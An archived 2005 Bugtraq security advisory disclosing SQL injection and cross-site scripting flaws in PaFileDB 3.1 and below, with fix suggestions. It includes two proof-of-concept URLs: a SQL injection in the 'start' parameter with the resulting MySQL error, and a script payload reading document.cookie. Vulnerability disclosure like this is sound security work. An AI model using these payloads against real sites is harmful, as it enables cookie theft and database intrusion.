Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]

PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL in

Subject: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability
Date: 30 Mar 2005 18:08:21 -0000


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity: Medium
Title: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL 
injection vulnerability
Date: 31/03/2005

Vendor: PhpArena
Vendor Website: http://www.phparena.net/pafiledb.php
Vendor Status: Contacted but no response
Summary: There are, pafiledb version 3.1 and below are exploitable via a xss 
and a sql injection vulnerability.

Proof of Concept Exploits: 
http://localhost/pafiledb/pafiledb.php?action=viewall&id=&start='SQL_INJECTION&sortby=name
SQL INJECTION

paFileDB was unable to successfully run a MySQL query.
MySQL Returned this error: You have an error in your SQL syntax. 
Check the manual that corresponds to your MySQL server version for the right 
syntax to use near '\'SQL_INJECTION,20' at line 1 Error number: 1064
The query that caused this error was: SELECT * FROM pafiledb_files WHERE 
file_pin = '0' ORDER BY file_name ASC LIMIT \'SQL_INJECTION,20


http://localhost/pafiledb/pafiledb.php?action=file&id=%22%3E%20%20%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

Possible Fixes: The usage of htmlspeacialchars(),
mysql_escape_string(), mysql_real_escape_string() and other functions for input 
validation before passing user input to the mysql database, or before echoing 
data on the screen, would solve these problems. 

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me 
regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout 
for my soon to come out book on Secure coding with php.

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

iQA/AwUBQkrruiZV5e8av/DUEQKjAACgxmr6hi6uMixKXaoioJ15SeyTEOgAoPr1
5+ZEj6cpzBEP0yAuv1tHlKyV
=iwFo
-----END PGP SIGNATURE-----

<Prev in Thread] Current Thread [Next in Thread>
  • PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability, dcrab <=